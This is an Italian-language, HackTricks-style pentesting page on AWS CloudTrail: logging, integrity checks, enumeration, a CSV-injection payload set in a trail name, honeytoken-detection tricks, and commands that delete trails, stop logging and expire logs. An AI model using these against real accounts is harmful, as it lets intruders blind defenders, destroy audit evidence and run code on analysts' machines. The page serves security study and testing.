# AWS - CloudTrail Enum

{{#include ../../../../banners/hacktricks-training.md}}

## **CloudTrail**

AWS CloudTrail **registra e monitora l'attività all'interno del tuo ambiente AWS**. Cattura dettagliati **log degli eventi**, inclusi chi ha fatto cosa, quando e da dove, per tutte le interazioni con le risorse AWS. Questo fornisce una traccia di audit delle modifiche e delle azioni, aiutando nell'analisi della sicurezza, nella verifica della conformità e nel monitoraggio delle modifiche alle risorse. CloudTrail è essenziale per comprendere il comportamento degli utenti e delle risorse, migliorare le posture di sicurezza e garantire la conformità normativa.

Ogni evento registrato contiene:

- Il nome dell'API chiamata: `eventName`
- Il servizio chiamato: `eventSource`
- Il tempo: `eventTime`
- L'indirizzo IP: `SourceIPAddress`
- Il metodo dell'agente: `userAgent`. Esempi:
- Signing.amazonaws.com - Dalla Console di gestione AWS
- console.amazonaws.com - Utente root dell'account
- lambda.amazonaws.com - AWS Lambda
- I parametri della richiesta: `requestParameters`
- Gli elementi della risposta: `responseElements`

Gli eventi vengono scritti in un nuovo file di log **circa ogni 5 minuti in un file JSON**, sono conservati da CloudTrail e infine, i file di log vengono **consegnati a S3 circa 15 minuti dopo**.\
I log di CloudTrail possono essere **aggregati tra account e tra regioni.**\
CloudTrail consente di utilizzare **l'integrità del file di log per poter verificare che i tuoi file di log siano rimasti invariati** da quando CloudTrail li ha consegnati a te. Crea un hash SHA-256 dei log all'interno di un file di digest. Un hash sha-256 dei nuovi log viene creato ogni ora.\
Quando si crea un Trail, i selettori di eventi ti permetteranno di indicare il trail da registrare: eventi di gestione, dati o approfondimenti.

I log vengono salvati in un bucket S3. Per impostazione predefinita viene utilizzata la crittografia lato server (SSE-S3), quindi AWS decripterà il contenuto per le persone che hanno accesso, ma per ulteriore sicurezza puoi utilizzare SSE con KMS e le tue chiavi.

I log sono memorizzati in un **bucket S3 con questo formato di nome**:

- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- Essendo il BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
- Esempio: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**

All'interno di ogni cartella, ogni log avrà un **nome che segue questo formato**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**

Convenzione di denominazione dei file di log

![](<../../../../images/image (122).png>)

Inoltre, **i file di digest (per controllare l'integrità del file)** saranno all'interno dello **stesso bucket** in:

![](<../../../../images/image (195).png>)

### Aggregare log da più account

- Crea un Trail nell'account AWS dove desideri che i file di log vengano consegnati
- Applica permessi al bucket S3 di destinazione consentendo l'accesso cross-account per CloudTrail e consenti a ciascun account AWS che necessita di accesso
- Crea un nuovo Trail negli altri account AWS e seleziona di utilizzare il bucket creato nel passaggio 1

Tuttavia, anche se puoi salvare tutti i log nello stesso bucket S3, non puoi aggregare i log di CloudTrail da più account in un CloudWatch Logs appartenente a un singolo account AWS.

> [!CAUTION]
> Ricorda che un account può avere **diversi Trails** di CloudTrail **abilitati** che memorizzano gli stessi (o diversi) log in bucket diversi.

### Cloudtrail da tutti gli account org in 1

Quando crei un CloudTrail, è possibile indicare di attivare cloudtrail per tutti gli account nell'org e ottenere i log in un solo bucket:

<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>

In questo modo puoi facilmente configurare CloudTrail in tutte le regioni di tutti gli account e centralizzare i log in 1 account (che dovresti proteggere).

### Controllo dei file di log

Puoi controllare che i log non siano stati alterati eseguendo
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
### Logs to CloudWatch

**CloudTrail può inviare automaticamente i log a CloudWatch in modo da poter impostare avvisi che ti avvertono quando vengono eseguite attività sospette.**\
Nota che per consentire a CloudTrail di inviare i log a CloudWatch è necessario creare un **ruolo** che consenta tale azione. Se possibile, si consiglia di utilizzare il ruolo predefinito di AWS per eseguire queste azioni. Questo ruolo consentirà a CloudTrail di:

- CreateLogStream: Questo consente di creare flussi di log di CloudWatch Logs
- PutLogEvents: Consegnare i log di CloudTrail al flusso di log di CloudWatch Logs

### Event History

La Cronologia Eventi di CloudTrail ti consente di ispezionare in una tabella i log che sono stati registrati:

![](<../../../../images/image (89).png>)

### Insights

**CloudTrail Insights** analizza automaticamente gli eventi di gestione della scrittura dai trail di CloudTrail e ti **avverte** di **attività insolite**. Ad esempio, se c'è un aumento degli eventi `TerminateInstance` che differisce dalle baseline stabilite, lo vedrai come un evento Insight. Questi eventi rendono **più facile che mai trovare e rispondere a attività API insolite**.

Le informazioni sono memorizzate nello stesso bucket dei log di CloudTrail in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`

### Security
| Control Name	                       |  Implementation Details                                                                                                                                                                                                                                                                                                                                     |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail Log File Integrity        | <ul><li>Valida se i log sono stati manomessi (modificati o eliminati)</li><li><p>Utilizza file di digest (crea hash per ogni file)</p><ul><li>SHA-256 hashing</li><li>SHA-256 con RSA per la firma digitale</li><li>chiave privata di proprietà di Amazon</li></ul></li><li>Richiede 1 ora per creare un file di digest (eseguito all'ora ogni ora)</li></ul> |
| Stop unauthorized access             | <ul><li><p>Utilizza politiche IAM e politiche del bucket S3</p><ul><li>team di sicurezza —> accesso admin</li><li>auditori —> accesso in sola lettura</li></ul></li><li>Utilizza SSE-S3/SSE-KMS per crittografare i log</li></ul>                                                                                                                                        |
| Prevent log files from being deleted | <ul><li>Restringi l'accesso all'eliminazione con IAM e politiche del bucket</li><li>Configura l'eliminazione MFA di S3</li><li>Valida con la Validazione del File di Log</li></ul>                                                                                                                                                                                            |

## Access Advisor

AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS **CloudTrail per raccogliere le sue informazioni**. CloudTrail cattura una cronologia delle chiamate API AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per **mostrare quando i servizi sono stati ultimi accessi**. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente IAM o un ruolo ha accesso e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate su **come affinare le autorizzazioni**, poiché possono identificare i servizi che non sono stati accessi per lunghi periodi e potenzialmente ridurre autorizzazioni eccessivamente ampie basate su modelli di utilizzo reali.

> [!TIP]
> Pertanto, Access Advisor informa sulle **autorizzazioni non necessarie concesse agli utenti** in modo che l'amministratore possa rimuoverle

<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>

## Actions

### Enumeration
```bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
```
### **CSV Injection**

È possibile eseguire un'iniezione CVS all'interno di CloudTrail che eseguirà codice arbitrario se i log vengono esportati in CSV e aperti con Excel.\
Il seguente codice genererà un'entrata di log con un nome di Trail errato contenente il payload:
```python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
```
Per ulteriori informazioni sulle iniezioni CSV, controlla la pagina:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}

Per ulteriori informazioni su questa specifica tecnica, controlla [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)

## **Bypass Detection**

### HoneyTokens **bypass**

I Honeytokens sono creati per **rilevare l'esfiltrazione di informazioni sensibili**. Nel caso di AWS, sono **chiavi AWS il cui utilizzo è monitorato**, se qualcosa attiva un'azione con quella chiave, allora qualcuno deve aver rubato quella chiave.

Tuttavia, i Honeytokens come quelli creati da [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilizzano un nome account riconoscibile o usano lo stesso ID account AWS per tutti i loro clienti. Pertanto, se riesci a ottenere il nome dell'account e/o l'ID dell'account senza far creare alcun log a Cloudtrail, **potresti sapere se la chiave è un honeytoken o meno**.

[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ha alcune regole per rilevare se una chiave appartiene a [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**

- Se **`canarytokens.org`** appare nel nome del ruolo o l'ID account **`534261010715`** appare nel messaggio di errore.
- Testandoli più recentemente, stanno usando l'account **`717712589309`** e ha ancora la stringa **`canarytokens.com`** nel nome.
- Se **`SpaceCrab`** appare nel nome del ruolo nel messaggio di errore
- **SpaceSiren** utilizza **uuids** per generare nomi utente: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Se il **nome sembra generato casualmente**, ci sono alte probabilità che sia un HoneyToken.

#### Ottieni l'ID account dall'ID chiave

Puoi ottenere l'**ID Account** dall'**encoded** all'interno della **chiave di accesso** come [**spiegato qui**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) e controllare l'ID account con la tua lista di account Honeytokens AWS:
```python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Controlla ulteriori informazioni nella [**ricerca originale**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).

#### Non generare un log

La tecnica più efficace per questo è in realtà una semplice. Usa semplicemente la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account di attaccante. Questo farà sì che **CloudTrail generi un log all'interno del TUO account AWS e non all'interno delle vittime**.

Il fatto è che l'output mostrerà un errore che indica l'ID dell'account e il nome dell'account, quindi **sarai in grado di vedere se è un Honeytoken**.

#### Servizi AWS senza log

In passato c'erano alcuni **servizi AWS che non inviano log a CloudTrail** (trova un [elenco qui](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Alcuni di questi servizi **risponderanno** con un **errore** contenente l'**ARN del ruolo della chiave** se qualcuno non autorizzato (la chiave honeytoken) prova ad accedervi.

In questo modo, un **attaccante può ottenere l'ARN della chiave senza attivare alcun log**. Nell'ARN l'attaccante può vedere l'**ID dell'account AWS e il nome**, è facile conoscere l'ID e i nomi degli account delle aziende HoneyToken, quindi in questo modo un attaccante può identificare se il token è un HoneyToken.

![](<../../../../images/image (93).png>)

> [!CAUTION]
> Nota che tutte le API pubbliche scoperte per non creare log di CloudTrail sono ora state corrette, quindi potresti dover trovare le tue...
>
> Per ulteriori informazioni controlla la [**ricerca originale**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).

### Accesso a Terza Infrastruttura

Alcuni servizi AWS **genereranno un'infrastruttura** come **Database** o **cluster Kubernetes** (EKS). Un utente **che parla direttamente a quei servizi** (come l'API Kubernetes) **non utilizzerà l'API AWS**, quindi CloudTrail non sarà in grado di vedere questa comunicazione.

Pertanto, un utente con accesso a EKS che ha scoperto l'URL dell'API EKS potrebbe generare un token localmente e **parlare direttamente con il servizio API senza essere rilevato da Cloudtrail**.

Ulteriori informazioni in:

{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation/README.md
{{#endref}}

### Modifica della Configurazione di CloudTrail

#### Elimina trail
```bash
aws cloudtrail delete-trail --name [trail-name]
```
#### Ferma le tracce
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### Disabilita la registrazione multi-regione
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
#### Disabilitare la registrazione tramite selettori di eventi
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
Nel primo esempio, viene fornito un selettore di eventi singolo come un array JSON con un singolo oggetto. Il `"ReadWriteType": "ReadOnly"` indica che il **selettore di eventi dovrebbe catturare solo eventi di sola lettura** (quindi CloudTrail insights **non controllerà eventi di scrittura**, ad esempio).

Puoi personalizzare il selettore di eventi in base alle tue esigenze specifiche.

#### Cancellazione dei log tramite la policy di lifecycle di S3
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### Modifica della Configurazione del Bucket

- Elimina il bucket S3
- Cambia la policy del bucket per negare qualsiasi scrittura dal servizio CloudTrail
- Aggiungi una policy di lifecycle al bucket S3 per eliminare gli oggetti
- Disabilita la chiave kms utilizzata per crittografare i log di CloudTrail

### Ransomware Cloudtrail

#### Ransomware S3

Potresti **generare una chiave asimmetrica** e far **crittografare i dati da CloudTrail** con quella chiave e **eliminare la chiave privata** in modo che i contenuti di CloudTrail non possano essere recuperati.\
Questo è fondamentalmente un **ransomware S3-KMS** spiegato in:

{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation/README.md
{{#endref}}

**Ransomware KMS**

Questo è il modo più semplice per eseguire l'attacco precedente con requisiti di autorizzazione diversi:

{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation/README.md
{{#endref}}

## **Riferimenti**

- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)

{{#include ../../../../banners/hacktricks-training.md}}
